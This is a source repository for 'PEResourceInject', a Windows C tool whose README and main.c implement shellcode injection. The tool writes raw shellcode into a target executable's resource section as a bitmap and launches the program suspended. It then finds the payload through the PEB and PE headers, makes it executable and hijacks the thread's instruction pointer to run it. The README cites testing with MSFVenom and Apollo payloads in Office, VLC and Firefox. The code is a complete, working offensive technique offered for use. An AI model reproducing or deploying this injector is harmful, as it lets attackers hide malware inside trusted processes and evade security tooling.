├── LICENSE
├── PEResourceInject.sln
├── PEResourceInject.vcxproj
├── README.md
├── main.c
└── main.h
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2022, Wra7h
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/PEResourceInject.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.2.32616.157
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PEResourceInject", "PEResourceInject.vcxproj", "{FF01AF50-4737-475A-88AC-77A66F332537}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {FF01AF50-4737-475A-88AC-77A66F332537}.Debug|x64.ActiveCfg = Debug|x64
17 | {FF01AF50-4737-475A-88AC-77A66F332537}.Debug|x64.Build.0 = Debug|x64
18 | {FF01AF50-4737-475A-88AC-77A66F332537}.Debug|x86.ActiveCfg = Debug|Win32
19 | {FF01AF50-4737-475A-88AC-77A66F332537}.Debug|x86.Build.0 = Debug|Win32
20 | {FF01AF50-4737-475A-88AC-77A66F332537}.Release|x64.ActiveCfg = Release|x64
21 | {FF01AF50-4737-475A-88AC-77A66F332537}.Release|x64.Build.0 = Release|x64
22 | {FF01AF50-4737-475A-88AC-77A66F332537}.Release|x86.ActiveCfg = Release|Win32
23 | {FF01AF50-4737-475A-88AC-77A66F332537}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {3E999D3B-812A-4B92-B928-B1CA4C28A7A6}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/PEResourceInject.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | 16.0
29 | Win32Proj
30 | {ff01af50-4737-475a-88ac-77a66f332537}
31 | PEResourceInject
32 | 10.0
33 |
34 |
35 |
36 | Application
37 | true
38 | v143
39 | Unicode
40 |
41 |
42 | Application
43 | false
44 | v143
45 | true
46 | Unicode
47 |
48 |
49 | Application
50 | true
51 | v143
52 | Unicode
53 |
54 |
55 | Application
56 | false
57 | v143
58 | true
59 | Unicode
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | Level3
82 | true
83 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
84 | true
85 |
86 |
87 | Console
88 | true
89 |
90 |
91 |
92 |
93 | Level3
94 | true
95 | true
96 | true
97 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
98 | true
99 |
100 |
101 | Console
102 | true
103 | true
104 | true
105 |
106 |
107 |
108 |
109 | Level3
110 | true
111 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
112 | true
113 |
114 |
115 | Console
116 | true
117 |
118 |
119 |
120 |
121 | Level3
122 | true
123 | true
124 | true
125 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
126 | true
127 |
128 |
129 | Console
130 | true
131 | true
132 | true
133 |
134 |
135 |
136 |
137 |
138 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PEResourceInject
2 | A way to avoid using VirtualAllocEx/WriteProcessMemory to inject shellcode into a process. You need access to modify the target executable.
3 |
4 | If the target exe has a .rsrc section already, it is overwritten with the new resource. However if the exe did not have a .rsrc, the section is added before being spawned.
5 |
6 | - Write shellcode to the target's .rsrc as a bitmap using the UpdateResource APIs
7 | - Spawn the exe suspended
8 | - Calculate the shellcode location by parsing the PE header
9 | - VirtualProtectEx to RX
10 | - Get/SetThreadContext to execute
11 |
12 | ## Usage (x64 only)
13 | `PEResourceInject.exe -exe -bin `
14 |
15 | Tested with:
16 | - MS Office/VLC/FireFox
17 | - Shellcode: MSFVenom/Apollo
18 |
19 | ### References/APIs:
20 | [A dive into the PE file format by 0xRick](https://0xrick.github.io/win-internals/pe8/)
21 |
22 | [BeginUpdateResource](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-beginupdateresourcea)
23 | [UpdateResource](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-updateresourcea)
24 | [EndUpdateResource](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-endupdateresourcea)
25 |
--------------------------------------------------------------------------------
/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "main.h"
6 |
7 | int wmain(INT argc, WCHAR* argv[])
8 | {
9 | PWCHAR TargetProcess = NULL;
10 | WCHAR TargetProcessCopy[FILENAME_MAX];
11 | PWCHAR ShellcodePath = NULL;
12 | PCHAR Payload = NULL;
13 |
14 | INT Ret = FALSE;
15 | SIZE_T cTPLen = 0;
16 | DWORD PayloadBufferSize = 0;
17 | DWORD cbRet = 0;
18 | DWORD dwOldProtect = 0;
19 | DWORD_PTR AddressShellcodeStart = 0;
20 | DWORD_PTR PEBOffset = 0;
21 | DWORD_PTR ImageBase = 0;
22 | HANDLE hUpdate = NULL;
23 | NTSTATUS ntStatus = NOERROR;
24 | SIZE_T cbRead = 0;
25 |
26 | STARTUPINFO sStartInfo = { 0 };
27 | PROCESS_INFORMATION sProcInfo = { 0 };
28 | PROCESS_BASIC_INFORMATION sPBI = { 0 };
29 | IMAGE_DOS_HEADER sImageDOSHeader = { 0 };
30 | IMAGE_NT_HEADERS64 sImageNTHeader = { 0 };
31 | IMAGE_SECTION_HEADER sImageSectionHeader = { 0 };
32 | CONTEXT sCtx = { 0 };
33 |
34 |
35 | for (INT i = 1; i < argc; i++)
36 | {
37 | if (wcscmp(argv[i], L"-exe") == 0)
38 | {
39 | TargetProcess = argv[i + 1];
40 | i++;
41 | }
42 | else if (wcscmp(argv[i], L"-bin") == 0)
43 | {
44 | ShellcodePath = argv[i + 1];
45 | i++;
46 | }
47 | else if (wcscmp(argv[i], L"-h") == 0 || wcscmp(argv[i], L"-help") == 0)
48 | {
49 | printf("\nUsage: -exe -bin \n\n");
50 | printf("-exe : path to the executable to spawn/inject\n");
51 | printf("-bin : path to raw shellcode\n");
52 | exit(0);
53 | }
54 | }
55 |
56 | if (!TargetProcess || !ShellcodePath)
57 | {
58 | printf("\nUsage: -exe -bin \n\n");
59 | printf("-exe : path to the executable to spawn/inject\n");
60 | printf("-bin : path to raw shellcode\n");
61 | exit(1);
62 | }
63 |
64 | //First create a backup of the TargetProcess file.
65 | cTPLen = wcslen(TargetProcess);
66 | wcscpy_s(TargetProcessCopy, FILENAME_MAX, TargetProcess);
67 | //Replace the '.' with '_' to avoid name collision.
68 | TargetProcessCopy[(cTPLen)-4] = '_';
69 |
70 | Ret = CopyFile(TargetProcess, TargetProcessCopy, FALSE);
71 | if (!Ret)
72 | {
73 | printf("[!] Failed to make a back up of the target exe. Exiting...\n");
74 | goto CLEANUP;
75 | }
76 | printf("[+] Backup Created: %ls\n", TargetProcessCopy);
77 |
78 | Ret = ReadContents(ShellcodePath, &Payload, &PayloadBufferSize);
79 | if (!Ret)
80 | {
81 | printf("[!] Payload is empty. Exiting...\n");
82 | goto CLEANUP;
83 | }
84 |
85 | //Attempt to update the resource of the executable we want to spawn.
86 | hUpdate = BeginUpdateResource(TargetProcess, TRUE);
87 | if (!hUpdate)
88 | goto CLEANUP;
89 |
90 | Ret = UpdateResource(hUpdate, RT_BITMAP, MAKEINTRESOURCE(RT_BITMAP), 0, Payload, PayloadBufferSize);
91 | if (!Ret)
92 | goto CLEANUP;
93 |
94 | Ret = EndUpdateResource(hUpdate, FALSE);
95 | if (!Ret)
96 | goto CLEANUP;
97 |
98 | printf("[+] Resource Updated: %ls\n", TargetProcess);
99 |
100 | //Spawn the process as suspended
101 | Ret = CreateProcessW(TargetProcess, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sStartInfo, &sProcInfo);
102 | if (!Ret)
103 | goto CLEANUP;
104 |
105 | printf("[+] Spawned: %ls\n", TargetProcess);
106 |
107 | //Grab NtQueryInformationProcess
108 | pfnNtQueryInformationProcess pNtQueryInformationProcess;
109 | HMODULE hNtDll = LoadLibrary(L"NtDll.dll");
110 | pNtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess");
111 | FreeLibrary(hNtDll);
112 |
113 | ntStatus = pNtQueryInformationProcess(sProcInfo.hProcess, ProcessBasicInformation, &sPBI, sizeof(PROCESS_BASIC_INFORMATION), &cbRet);
114 | if (ntStatus) // 0 = SUCCESS
115 | goto CLEANUP;
116 |
117 | PEBOffset = (DWORD_PTR)sPBI.PebBaseAddress + 0x10; //x64
118 |
119 | //With the PEB address, get the address of the image base
120 | Ret = ReadProcessMemory(sProcInfo.hProcess, (LPCVOID)PEBOffset, &ImageBase, 8, NULL);
121 | if (!Ret)
122 | goto CLEANUP;
123 |
124 | printf("[+] Image Base: 0x%p\n", (PVOID)ImageBase);
125 |
126 | //From ImageBase, populate a IMAGE_DOS_HEADER to get the e_lfanew
127 | Ret = ReadProcessMemory(sProcInfo.hProcess, (LPCVOID)ImageBase, &sImageDOSHeader, sizeof(IMAGE_DOS_HEADER), &cbRead);
128 | if (!Ret)
129 | goto CLEANUP;
130 |
131 | //Add the imagebase + the value of the e_lfanew to get the start of the IMAGE_NT_HEADERS
132 | DWORD_PTR AddressImageNTHeader = ((DWORD_PTR)ImageBase + sImageDOSHeader.e_lfanew);
133 | Ret = ReadProcessMemory(sProcInfo.hProcess, (LPCVOID)AddressImageNTHeader, &sImageNTHeader, sizeof(IMAGE_NT_HEADERS64), &cbRead);
134 | if (!Ret)
135 | goto CLEANUP;
136 |
137 | //Moving on to sections, get the address of the first section
138 | DWORD_PTR AddressOfSection = AddressImageNTHeader + (DWORD_PTR)(sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + sImageNTHeader.FileHeader.SizeOfOptionalHeader);
139 |
140 | // Identify which section is the .rsrc section which should contain the bitmap of our shellcode.
141 | for (int i = 0; i < sImageNTHeader.FileHeader.NumberOfSections; i++) {
142 |
143 | ReadProcessMemory(sProcInfo.hProcess, (LPCVOID)AddressOfSection, &sImageSectionHeader, sizeof(IMAGE_SECTION_HEADER), &cbRead);
144 | if (strcmp(sImageSectionHeader.Name, ".rsrc") == 0)
145 | {
146 | // We found the .rsrc section, so take the Address of the Image base, add the virtual address of the .rsrc Section,
147 | // which gets us to the start of the bitmap. From the start of the bitmap, add another 0x58 to get the start of the shellcode
148 | AddressShellcodeStart = (DWORD_PTR)ImageBase + (DWORD_PTR)sImageSectionHeader.VirtualAddress + 0x58;
149 |
150 | printf("[+] .rsrc Image Section RVA: 0x%p\n", (PVOID)sImageSectionHeader.VirtualAddress);
151 | printf("[MATH] ImageBase[0x%p] + .rsrc RVA[0x%p] + BitmapHeader[0x58]\n", (PVOID)ImageBase, (PVOID)sImageSectionHeader.VirtualAddress);
152 | printf("[+] Shellcode Start: 0x%p\n", (PVOID)AddressShellcodeStart);
153 |
154 | //Ensure protections are PAGE_EXECUTE_READ
155 | Ret = VirtualProtectEx(sProcInfo.hProcess, (LPVOID)AddressShellcodeStart, PayloadBufferSize, PAGE_EXECUTE_READ, &dwOldProtect);
156 | if (!Ret)
157 | goto CLEANUP;
158 |
159 | break;
160 | }
161 | //.rsrc wasn't found, move to the start of the next section
162 | AddressOfSection += sizeof(IMAGE_SECTION_HEADER);
163 | }
164 |
165 | if (!AddressShellcodeStart)
166 | goto CLEANUP;
167 |
168 | //Execute the shellcode
169 | sCtx.ContextFlags = CONTEXT_ALL;
170 | GetThreadContext(sProcInfo.hThread, &sCtx);
171 | sCtx.Rip = (DWORD64)AddressShellcodeStart;
172 | SetThreadContext(sProcInfo.hThread, &sCtx);
173 | ResumeThread(sProcInfo.hThread);
174 |
175 | CLEANUP:
176 | if (Payload)
177 | {
178 | free(Payload);
179 | }
180 |
181 | if (sProcInfo.hProcess != NULL)
182 | {
183 | CloseHandle(sProcInfo.hThread);
184 | CloseHandle(sProcInfo.hProcess);
185 | }
186 |
187 | printf("\n[~] Done!");
188 |
189 | return 0;
190 | }
191 |
192 | INT ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize)
193 | {
194 | FILE* f = NULL;
195 | _wfopen_s(&f, Filepath, L"rb");
196 | if (f)
197 | {
198 | fseek(f, 0, SEEK_END);
199 | *BufferSize = ftell(f);
200 | fseek(f, 0, SEEK_SET);
201 | *Buffer = malloc(*BufferSize);
202 | fread(*Buffer, *BufferSize, 1, f);
203 | fclose(f);
204 | }
205 |
206 | return (*BufferSize != 0) ? TRUE : FALSE;
207 | }
--------------------------------------------------------------------------------
/main.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
3 | IN HANDLE ProcessHandle,
4 | IN PROCESSINFOCLASS ProcessInformationClass,
5 | OUT PVOID ProcessInformation,
6 | IN ULONG ProcessInformationLength,
7 | OUT PULONG ReturnLength OPTIONAL
8 | );
9 |
10 | INT ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize);
--------------------------------------------------------------------------------